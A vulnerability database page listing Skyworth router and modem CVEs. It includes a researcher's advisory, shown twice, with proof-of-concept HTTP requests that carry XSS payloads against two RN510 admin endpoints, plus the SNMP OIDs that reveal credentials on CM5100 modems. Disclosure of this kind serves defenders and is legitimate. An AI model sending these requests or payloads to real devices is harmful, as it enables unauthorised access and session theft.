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5 vulnerabilities by skyworthdigital
VAR-202104-1683
Vulnerability from variot - Updated: 2023-12-18 13:51Skyworth Digital Technology RN510 V.3.1.0.4 RN510 V.3.1.0.4 contains a buffer overflow vulnerability in /cgi-bin/app-staticIP.asp. An authenticated attacker can send a specially crafted request to endpoint which can lead to a denial of service (DoS) or possible code execution on the device. RN510 is a dual-band wireless AC2100 access point launched by Skyworth Digital Technology
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VAR-201903-1284
Vulnerability from variot - Updated: 2023-12-18 13:28An issue was discovered on Shenzhen Skyworth DT741 Converged Intelligent Terminal (G/EPON+IPTV) SDOTBGN1, DT721-cb SDOTBGN1, and DT741-cb SDOTBGN1 devices. A long password to the Web_passwd function allows remote attackers to cause a denial of service (segmentation fault) or achieve unauthenticated remote code execution because of control of registers S0 through S4 and T4 through T7. Skyworth DT741 , DT721-cb , DT741-cb The device contains an input validation vulnerability.Information is obtained, information is altered, and service operation is disrupted (DoS) There is a possibility of being put into a state. There is an input validation error vulnerability in Skyworth GPON HomeGateways and Optical Network terminals. The vulnerability originates from incorrect verification of data boundaries when network systems or products perform operations on memory, resulting in incorrect read and write operations to other associated memory locations. Attackers can exploit this vulnerability to cause buffer overflow or heap overflow, etc. The following products and versions are affected: DT741 Converged Intelligent Terminal (G/EPON+IPTV); DT741 Converged Intelligent Terminal (G/EPON+IPTV); DT721-cb GPON uplink home gateway (GPON+2FE+1POTS); DT721-cb GPON Uplink Home Gateway (GPON+2FE+1POTS); DT741-cb GPON uplink home gateway (GPON+4FE+1POTS+WIFI+USB); DT741-cb GPON Uplink Home Gateway (GPON+4FE+1POTS+WIFI+USB); DT741 -cbGPON uplink home gateway DT741-cb
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VAR-202104-1682
Vulnerability from variot - Updated: 2023-12-18 12:49Skyworth Digital Technology RN510 V.3.1.0.4 contains a cross-site request forgery (CSRF) vulnerability in /cgi-bin/net-routeadd.asp and /cgi-bin/sec-urlfilter.asp. Missing CSRF protection in devices can lead to XSRF, as the above pages are vulnerable to cross-site scripting (XSS). RN510 is a dual-band wireless AC2100 access point launched by Skyworth Digital Technology. No detailed vulnerability details are currently provided. Overview
Title:- Authenticated XSRF in RN510 Mesh Extender. CVE-ID :- CVE-2021-25327 Author: Kaustubh G. Padwad Vendor: Shenzhen Skyworth Digital Technology Company Ltd.(http://www.skyworthdigital.com/products) Products: 1. RN510 with firmware V.3.1.0.4 (Tested and verified) Potential 2.RN620 with respective firmware or below 3.RN410 With Respective firmwware or below. Integrated with two gigabit LAN ports, and a dual-band AP which supports 2x2 802.11n(300Mbps) and 4x4 802.11ac (1733Mbps) concurrently, RN510provides a stable & reliable high speed wired and wireless connectivity for home user and SOHO users. Utilizing state of art EasyMesh solution, two or more RN510 units could be easily teamed upwith Skyworth ONT gateway (e.g. GN543) and form an automatically organized network. RN510 could support either wired line backhaul or wireless backhaul to other mesh node. User could enjoy a wonderful zero-touch, robust and failure auto recovery, seamless connected wireless home networking experience. RN510 uses a system of units to achieve seamless whole-home Wi-Fi coverage, eliminate weak signal areas once and for all. RN510 work together to form a unified network with a single network name. Devices automatically switch between RN510s as you move through your home for the fastest possible speeds. A RN510 Dual-pack delivers Wi-Fi to an area of up to 2,800 square feet. And if that’s not enough, simply add more RN510 to the network anytime to increase coverage. RN510 provides fast and stable connections with speeds of up to 2100 Mbps and works with major internet service provider (ISP) and modem. Parental Controls limits online time and block inappropriate websites according to unique profiles created for each family member. Setup is easier than ever with the Skywifi app there to walk you through every step.
Description:
An issue was discovered on Shenzhen Skyworth
The value of DestIPAdderss under /cgi-bin/net-routeadd.asp is not properly sanatizing hence it allow to execute malicious javascript, which result a successful cross site scripting in /cgi-bin/net-routeadd.asp, Additionally value of urlitem under /cgi-bin/sec-urlfilter.asp is also not getting properly sanitize hence it will result to successful cross site scripting.
Since device dont have CSRF valdation it is possible to perform the XSRF by using CSRF + XSS vulnerability.
Additional Information
Sample request -1
Request
POST /cgi-bin/net-routeadd.asp HTTP/1.1 Host: 192.168.2.1 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http://192.168.2.1/cgi-bin/net-routeadd.asp Content-Type: application/x-www-form-urlencoded Content-Length: 235 Connection: close Cookie: UID=admin; PSW=admin; SESSIONID=boasid7a108566d118e9b5bd235b1412cb770c Upgrade-Insecure-Requests: 1
add_num=0&user_def_num=0&WanInterfaceFlag=br0&metricFlag=0&gwflag=Yes&ifflag=Yes&DestIPAddress=alert(document.cookie)&DestSubnetMask=255.255.255.255&gwStr=on&GatewayIPAddress=192.168.1.1&ifStr=on&Interface=br0&SaveFlag=1
Sample Request-2
POST /cgi-bin/sec-urlfilter.asp HTTP/1.1 Host: 192.168.2.1 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http://192.168.2.1/cgi-bin/sec-urlfilter.asp Content-Type: application/x-www-form-urlencoded Content-Length: 162 Connection: close Cookie: UID=admin; PSW=admin; SESSIONID=boasid7a108566d118e9b5bd235b1412cb770c Upgrade-Insecure-Requests: 1
Save_Flag=1&Actionflag=Add&EnableUrlFilterFlag=1&delnum=&add_num=1&Url_num=1&enableFilter=on&FilterPolicy=0&urlitem=%3C%2Fscript%3E%3Csvg+onload%3Dalert%281%29%3E
[Affected Component] IpAddr function on page /cgi-bin/app-staticIP.asp inside the boa web server implementation.
[Attack Type] Remote
[Impact Code execution] true
[Impact Denial of Service] true
[Attack Vectors] An Authentiated attacker need to run set the cross site scripting payload at DestIPAddress,urlitem under /cgi-bin/net-routeadd.asp and /cgi-bin/sec-urlfilter.asp respectively in order to achive XSS.
[Vulnerability Type]
CSRF, XSS
How to Reproduce: (POC):
One can use below exploit
Attacker needs to run above requests in order to achive to XSRF.
Mitigation
[Vendor of Product] Shenzhen Skyworth Digital Technology Company Ltd.(http://www.skyworthdigital.com/products)
Disclosure:
19-Jan-2021:- reported this to vendor 19-Jan-2021:- Requested for CVE-ID
credits:
- Kaustubh Padwad
- Information Security Researcher
- kingkaustubh@me.com
- https://s3curityb3ast.github.io/
- https://twitter.com/s3curityb3ast
- http://breakthesec.com
- https://www.linkedin.com/in/kaustubhpadwad
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"data": "Skyworth Digital Technology RN510 V.3.1.0.4 contains a cross-site request forgery (CSRF) vulnerability in /cgi-bin/net-routeadd.asp and /cgi-bin/sec-urlfilter.asp. Missing CSRF protection in devices can lead to XSRF, as the above pages are vulnerable to cross-site scripting (XSS). RN510 is a dual-band wireless AC2100 access point launched by Skyworth Digital Technology. No detailed vulnerability details are currently provided. Overview\n========\n\nTitle:- Authenticated XSRF in RN510 Mesh Extender. \nCVE-ID :- CVE-2021-25327\nAuthor: Kaustubh G. Padwad\nVendor: Shenzhen Skyworth Digital Technology Company\nLtd.(http://www.skyworthdigital.com/products)\nProducts:\n 1. RN510 with firmware V.3.1.0.4 (Tested and verified)\nPotential\n 2.RN620 with respective firmware or below\n 3.RN410 With Respective firmwware or below. Integrated with two\ngigabit LAN ports, and a dual-band AP which supports 2x2\n802.11n(300Mbps) and 4x4 802.11ac (1733Mbps) concurrently, RN510provides\na stable \u0026 reliable high speed wired and wireless connectivity for home\nuser and SOHO users. Utilizing state of art EasyMesh solution, two or\nmore RN510 units could be easily teamed upwith Skyworth ONT gateway\n(e.g. GN543) and form an automatically organized network. RN510 could\nsupport either wired line backhaul or wireless backhaul to other mesh\nnode. User could enjoy a wonderful zero-touch, robust and failure auto\nrecovery, seamless connected wireless home networking experience. \nRN510 uses a system of units to achieve seamless whole-home Wi-Fi\ncoverage, eliminate weak signal areas once and for all. RN510 work\ntogether to form a unified network with a single network name. Devices\nautomatically switch between RN510s as you move through your home for\nthe fastest possible speeds. A RN510 Dual-pack delivers Wi-Fi to an area\nof up to 2,800 square feet. And if that\u2019s not enough, simply add more\nRN510 to the network anytime to increase coverage. RN510 provides fast\nand stable connections with speeds of up to 2100 Mbps and works with\nmajor internet service provider (ISP) and modem. Parental Controls\nlimits online time and block inappropriate websites according to unique\nprofiles created for each family member. Setup is easier than ever with\nthe Skywifi app there to walk you through every step. \n\nDescription:\n============\nAn issue was discovered on Shenzhen Skyworth\n\nThe value of DestIPAdderss under /cgi-bin/net-routeadd.asp is not\nproperly sanatizing hence it allow to execute malicious javascript,\nwhich result a successful cross site scripting in\n/cgi-bin/net-routeadd.asp, Additionally value of urlitem under\n/cgi-bin/sec-urlfilter.asp is also not getting properly sanitize hence\nit will result to successful cross site scripting. \n\nSince device dont have CSRF valdation it is possible to perform the XSRF\nby using CSRF + XSS vulnerability. \n\n\nAdditional Information\n========================\nSample request -1\n\nRequest\n========\n\nPOST /cgi-bin/net-routeadd.asp HTTP/1.1\nHost: 192.168.2.1\nUser-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101\nFirefox/68.0\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\nAccept-Language: en-US,en;q=0.5\nAccept-Encoding: gzip, deflate\nReferer: http://192.168.2.1/cgi-bin/net-routeadd.asp\nContent-Type: application/x-www-form-urlencoded\nContent-Length: 235\nConnection: close\nCookie: UID=admin; PSW=admin;\nSESSIONID=boasid7a108566d118e9b5bd235b1412cb770c\nUpgrade-Insecure-Requests: 1\n\nadd_num=0\u0026user_def_num=0\u0026WanInterfaceFlag=br0\u0026metricFlag=0\u0026gwflag=Yes\u0026ifflag=Yes\u0026DestIPAddress=\u003csvg\u003e\u003cscript\n?\u003ealert(document.cookie)\u0026DestSubnetMask=255.255.255.255\u0026gwStr=on\u0026GatewayIPAddress=192.168.1.1\u0026ifStr=on\u0026Interface=br0\u0026SaveFlag=1\n\nSample Request-2\n\nPOST /cgi-bin/sec-urlfilter.asp HTTP/1.1\nHost: 192.168.2.1\nUser-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101\nFirefox/68.0\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\nAccept-Language: en-US,en;q=0.5\nAccept-Encoding: gzip, deflate\nReferer: http://192.168.2.1/cgi-bin/sec-urlfilter.asp\nContent-Type: application/x-www-form-urlencoded\nContent-Length: 162\nConnection: close\nCookie: UID=admin; PSW=admin;\nSESSIONID=boasid7a108566d118e9b5bd235b1412cb770c\nUpgrade-Insecure-Requests: 1\n\nSave_Flag=1\u0026Actionflag=Add\u0026EnableUrlFilterFlag=1\u0026delnum=\u0026add_num=1\u0026Url_num=1\u0026enableFilter=on\u0026FilterPolicy=0\u0026urlitem=%3C%2Fscript%3E%3Csvg+onload%3Dalert%281%29%3E\n\n\n[Affected Component]\nIpAddr function on page /cgi-bin/app-staticIP.asp inside the boa web\nserver implementation. \n\n------------------------------------------\n[Attack Type]\nRemote\n------------------------------------------\n[Impact Code execution]\ntrue\n------------------------------------------\n[Impact Denial of Service]\ntrue\n\n------------------------------------------\n[Attack Vectors]\nAn Authentiated attacker need to run set the cross site scripting\npayload at DestIPAddress,urlitem under /cgi-bin/net-routeadd.asp and\n/cgi-bin/sec-urlfilter.asp respectively in order to achive XSS. \n\n[Vulnerability Type]\n====================\nCSRF, XSS\n\nHow to Reproduce: (POC):\n========================\n\nOne can use below exploit\n\nAttacker needs to run above requests in order to achive to XSRF. \n\n\nMitigation\n==========\n\n[Vendor of Product]\nShenzhen Skyworth Digital Technology Company\nLtd.(http://www.skyworthdigital.com/products)\n\nDisclosure:\n===========\n19-Jan-2021:- reported this to vendor\n19-Jan-2021:- Requested for CVE-ID\n\n\ncredits:\n========\n* Kaustubh Padwad\n* Information Security Researcher\n* kingkaustubh@me.com\n* https://s3curityb3ast.github.io/\n* https://twitter.com/s3curityb3ast\n* http://breakthesec.com\n* https://www.linkedin.com/in/kaustubhpadwad\n\n\n\n",
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VAR-201812-0709
Vulnerability from variot - Updated: 2023-12-18 12:00Skyworth CM5100 V1.1.0, CM5100-440 V1.2.1, CM5100-511 4.1.0.14, CM5100-GHD00 V1.2.2, and CM5100.g2 4.1.0.17 devices allow remote attackers to discover credentials via iso.3.6.1.4.1.4491.2.4.1.1.6.1.1.0 and iso.3.6.1.4.1.4491.2.4.1.1.6.1.2.0 SNMP requests. plural Skyworth Product devices contain vulnerabilities related to certificate and password management.Information is obtained, information is altered, and service operation is disrupted (DoS) There is a possibility of being put into a state. Skyworth CM5100 and others are different types of cable modem products of China Skyworth Group. Security flaws exist in several Skyworth products. The following products and versions are affected: Skyworth CM5100 version 1.1.0; CM5100-440 version 1.2.1; CM5100-511 version 4.1.0.14; CM5100-GHD00 version 1.2.2; CM5100.g2 version 4.1.0.17
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